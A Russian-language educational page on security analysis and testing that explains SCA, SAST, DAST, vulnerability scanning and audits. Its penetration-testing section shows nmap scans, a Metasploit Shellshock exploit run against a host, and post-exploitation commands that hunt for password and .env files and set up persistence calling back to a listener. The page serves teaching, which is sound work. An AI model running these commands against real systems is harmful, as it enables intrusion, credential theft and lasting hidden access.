Перейти к основному содержимому

Анализ и тестирование безопасности

Разработчику Инженеру

Анализ и тестирование безопасности

Наличие уязвимостей, угроз и слабых мест

Уязвимость представляет собой слабое место в программном обеспечении, которое может быть использовано злоумышленником для нарушения целостности, конфиденциальности или доступности системы. Уязвимости возникают на разных уровнях: от аппаратного обеспечения до бизнес-логики приложения.

Угроза — это потенциальная возможность нанесения вреда системе путем использования существующих уязвимостей. Угрозы могут быть внешними и внутренними, целенаправленными и случайными.

Слабое место — это любое отклонение от ожидаемого поведения системы, которое может создавать условия для реализации угрозы. Слабые места включают ошибки конфигурации, недостаточную валидацию данных, отсутствие шифрования чувствительной информации.


Анализ безопасности

Анализ безопасности — это систематический процесс выявления, оценки и приоритизации уязвимостей в программном обеспечении.

Основная цель анализа — понять текущее состояние защищенности системы и определить необходимые меры для устранения обнаруженных рисков.

Компоненты анализа безопасности включают:

  • Идентификацию активов и их ценности
  • Картирование потоков данных и точек входа
  • Оценку критичности каждого компонента
  • Определение потенциальных векторов атак

Анализ безопасности проводится на разных этапах жизненного цикла разработки. Раннее обнаружение уязвимостей снижает стоимость их исправления и минимизирует риски для конечных пользователей.

Play ITЗагрузка интерактивного демо…


Тестирование безопасности

Тестирование безопасности — это процесс верификации защищенности программного обеспечения путем активного поиска уязвимостей и проверки эффективности защитных механизмов. Тестирование включает как автоматизированные методы, так и ручные техники.

Основные цели тестирования безопасности:

  • Подтверждение отсутствия известных уязвимостей
  • Проверка корректности реализации механизмов защиты
  • Оценка устойчивости системы к атакам
  • Верификация соответствия требованиям безопасности

Тестирование безопасности проводится на разных уровнях: от кода до работающего приложения, от сетевой инфраструктуры до бизнес-логики.


SCA, SAST, DAST

SCA (Software Composition Analysis)

SCA — это метод анализа сторонних зависимостей и библиотек, используемых в проекте.

SCA инструменты сканируют файлы зависимостей (например, package.json, pom.xml, requirements.txt) и сравнивают версии компонентов с базами данных известных уязвимостей.

Пример конфигурации для npm проекта:

{
"name": "my-application",
"version": "1.0.0",
"dependencies": {
"express": "^4.17.1",
"lodash": "^4.17.21",
"axios": "^0.21.1"
},
"devDependencies": {
"eslint": "^7.32.0",
"jest": "^27.0.6"
}
}

SCA инструменты анализируют такие файлы и выявляют уязвимые версии зависимостей. Например, если в базе данных CVE зарегистрирована уязвимость в версии lodash 4.17.20, инструмент сообщит о необходимости обновления.

Преимущества SCA:

  • Автоматическое обнаружение уязвимостей в сторонних библиотеках
  • Интеграция в процессы сборки и развертывания
  • Постоянный мониторинг зависимостей

SAST (Static Application Security Testing)

SAST — это статический анализ исходного кода без его выполнения.

Инструменты SAST анализируют код на уровне синтаксиса и семантики, выявляя потенциальные уязвимости, ошибки безопасности и нарушения лучших практик.

Пример уязвимого кода на Python:

Код ITЗагрузка примера кода…

Инструмент SAST обнаружит прямую конкатенацию пользовательского ввода в SQL запросе и предупредит о возможной SQL-инъекции.

Пример безопасной реализации:

@app.route('/search')
def search():
query = request.args.get('q')
conn = sqlite3.connect('database.db')
cursor = conn.cursor()
# Безопасное использование параметризованных запросов
cursor.execute("SELECT * FROM users WHERE name = ?", (query,))
results = cursor.fetchall()
conn.close()
return str(results)

SAST анализирует код на разных языках программирования и выявляет:

  • Уязвимости ввода-вывода
  • Проблемы управления памятью
  • Ошибки аутентификации и авторизации
  • Некорректное управление сессиями
  • Проблемы с криптографией

Практика внедрения в CI:

  • На pull request запускается быстрый SAST-профиль для критичных правил.
  • Ночью идёт полный скан с расширенным набором проверок.
  • Новые критичные находки блокируют merge до исправления или формального risk-acceptance.

DAST (Dynamic Application Security Testing)

DAST — это динамический анализ работающего приложения путем отправки специально сконструированных запросов и анализа ответов.

DAST инструменты имитируют действия злоумышленника, пытаясь найти уязвимости в рантайме.

Пример использования DAST инструмента для тестирования веб-приложения:

# Запуск OWASP ZAP для сканирования
zap-cli quick-scan --spider --ajax --scanners all http://localhost:3000

# Или использование Burp Suite через API
curl -X POST "http://burp-host:1337/v0.1/scan" \
-H "Content-Type: application/json" \
-d '{"baseUrl": "http://localhost:3000", "scanPolicy": "Default Policy"}'

DAST обнаруживает уязвимости, которые проявляются только при выполнении:

  • Ошибки конфигурации сервера
  • Проблемы с обработкой ошибок
  • Уязвимости в бизнес-логике
  • Проблемы с кэшированием и сессиями
  • Некорректные заголовки безопасности

Методы тестирования безопасности

Статический анализ (SAST)

Статический анализ проводится на этапе разработки, до компиляции или запуска кода.

Инструменты SAST анализируют исходный код, байт-код или скомпилированные бинарники, строя абстрактное синтаксическое дерево и отслеживая потоки данных.

Пример конфигурации для SonarQube:

sonar:
projectKey: my-application
sources: src
language: java
java:
source: 11
exclusions: "**/*.test.java"

Пример конфигурации для ESLint с плагином безопасности:

module.exports = {
extends: [
'eslint:recommended',
'plugin:security/recommended'
],
plugins: ['security'],
rules: {
'security/detect-object-injection': 'error',
'security/detect-no-csrf-before-method-override': 'error',
'security/detect-buffer-noassert': 'error',
'security/detect-child-process': 'warn'
}
};

SAST инструменты интегрируются в процессы разработки:

  • Проверка кода перед коммитом (pre-commit hooks)
  • Анализ в процессе непрерывной интеграции (CI/CD)
  • Регулярные сканирования в рамках регулярного аудита

Динамический анализ (DAST)

Динамический анализ проводится на работающем приложении, обычно в тестовой или промежуточной среде.

DAST инструменты отправляют запросы к приложению и анализируют ответы на наличие уязвимостей.

Пример скрипта для автоматизации DAST с использованием OWASP ZAP:

Код ITЗагрузка примера кода…

DAST инструменты обнаруживают уязвимости, которые не видны в статическом коде:

  • Проблемы с конфигурацией сервера
  • Ошибки обработки ошибок, раскрывающие информацию
  • Уязвимости в сторонних сервисах и интеграциях
  • Проблемы с управлением сессиями и аутентификацией

Тестирование на проникновение (Penetration testing)

Тестирование на проникновение — это метод имитации реальных атак злоумышленников для проверки способности системы противостоять взлому.

Пентест проводится сертифицированными специалистами, использующими комбинацию автоматизированных инструментов и ручных техник.

Этапы пентеста:

  1. Разведка и сбор информации
  2. Сканирование и обнаружение уязвимостей
  3. Эксплуатация найденных уязвимостей
  4. Поддержание доступа и перемещение по сети
  5. Анализ результатов и составление отчета

Пример использования инструментов для пентеста:

Сбор информации с помощью Nmap:

# Быстрое сканирование открытых портов
nmap -sS -p- 192.168.1.0/24

# Сканирование с определением версий сервисов
nmap -sV -sC -p 80,443,22,3306 192.168.1.100

# Агрессивное сканирование с обходом файрвола
nmap -A -T4 192.168.1.100

Эксплуатация уязвимостей с помощью Metasploit:

msfconsole

use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS 192.168.1.100
set TARGETURI /cgi-bin/test.cgi
exploit

Пост-эксплуатация:

# Получение информации о системе
sysinfo

# Поиск чувствительных файлов
search -f *.conf
search -f *.env
search -f password*

# Создание резервного доступа
run persistence -X -i 60 -p 4444 -r 192.168.1.50

Пентест включает тестирование разных векторов атак:

  • Сетевые атаки
  • Веб-приложения
  • Мобильные приложения
  • Социальная инженерия
  • Физическая безопасность

Сканирование уязвимостей

Сканирование уязвимостей — это автоматизированный процесс поиска известных брешей безопасности в системах и приложениях.

Сканеры уязвимостей используют базы данных известных уязвимостей (CVE, CWE, OWASP Top 10) для идентификации проблем.

Пример конфигурации для Nessus:

[nessus]
server = nessus.local
port = 8834
username = admin
password = secure_password

[scan_policy]
name = Web Application Scan
template = web_application
targets = http://app.local, http://api.local
credentials = web_form

Пример скрипта для автоматического сканирования с OpenVAS:

Код ITЗагрузка примера кода…

Сканеры уязвимостей проверяют соответствие стандартам безопасности:

  • OWASP Top 10 для веб-приложений
  • CIS Benchmarks для конфигурации систем
  • PCI DSS для обработки платежных данных
  • HIPAA для медицинских данных
  • GDPR для персональных данных

Анализ защищенности (Security Auditing)

Анализ защищенности — это оценка системы на соответствие требованиям безопасности и лучшим практикам.

Аудит включает проверку кода, конфигурации, процессов и политик безопасности.

Компоненты security auditing:

  1. Проверка кода на соответствие стандартам безопасности
  2. Анализ конфигурации серверов и сетевых устройств
  3. Оценка процессов разработки и развертывания
  4. Проверка политик доступа и управления правами
  5. Анализ журналов и мониторинга безопасности

Пример чек-листа для аудита веб-приложения:

## Аудит безопасности веб-приложения

### Аутентификация и авторизация
- [ ] Реализация многофакторной аутентификации
- [ ] Ограничение количества попыток входа
- [ ] Автоматическое завершение сессий
- [ ] Разделение прав доступа (RBAC)
- [ ] Аудит действий пользователей

### Защита данных
- [ ] Шифрование данных в передаче (TLS 1.2+)
- [ ] Шифрование данных в покое
- [ ] Маскирование чувствительных данных
- [ ] Управление ключами шифрования
- [ ] Регулярное резервное копирование

### Безопасность кода
- [ ] Валидация всех входных данных — [Проверка и валидация](/encyclopedia/4-code-dev/4-14-razrabotka-i-otladka/118)
- [ ] Использование параметризованных запросов
- [ ] Экранирование вывода данных
- [ ] Обработка ошибок без раскрытия информации
- [ ] Обновление зависимостей

Пример скрипта для автоматического аудита конфигурации:

Код ITЗагрузка примера кода…

Анализ защищенности проводится регулярно для поддержания высокого уровня безопасности и соответствия нормативным требованиям.


Практическая модель зрелости тестирования

Чтобы тестирование безопасности развивалось последовательно, удобно использовать ступени зрелости:

  1. Базовый уровень: ручные проверки и единичные сканы.
  2. Управляемый уровень: SCA, SAST и DAST в CI/CD.
  3. Продвинутый уровень: регулярный пентест, ретест и метрики эффективности.
  4. Инженерный уровень: риск-ориентированная приоритизация и автоматизация реагирования.

Что добавить в процессы команды

  • Единый бэклог уязвимостей с владельцами и SLA.
  • Гейтинг релизов по критичности находок.
  • Повторное сканирование после каждого исправления.
  • Разбор причин повторяющихся ошибок в кодовой базе.

Примеры решений по результатам тестирования

  • Ситуация: повторяются SQL-инъекции в разных сервисах.
    Решение: внедрить общий data-access слой с параметризованными запросами и запретить строковую конкатенацию в код-ревью.

  • Ситуация: сканер уязвимостей регулярно показывает критичные CVE в зависимостях.
    Решение: выделить окно регулярных обновлений, включить Dependabot и правила блокировки merge при критическом уровне.

  • Ситуация: пентест выявил успешный обход авторизации в одном endpoint.
    Решение: расширить тест-кейсы на весь класс похожих endpoint и добавить автоматическую проверку прав в middleware.


См. также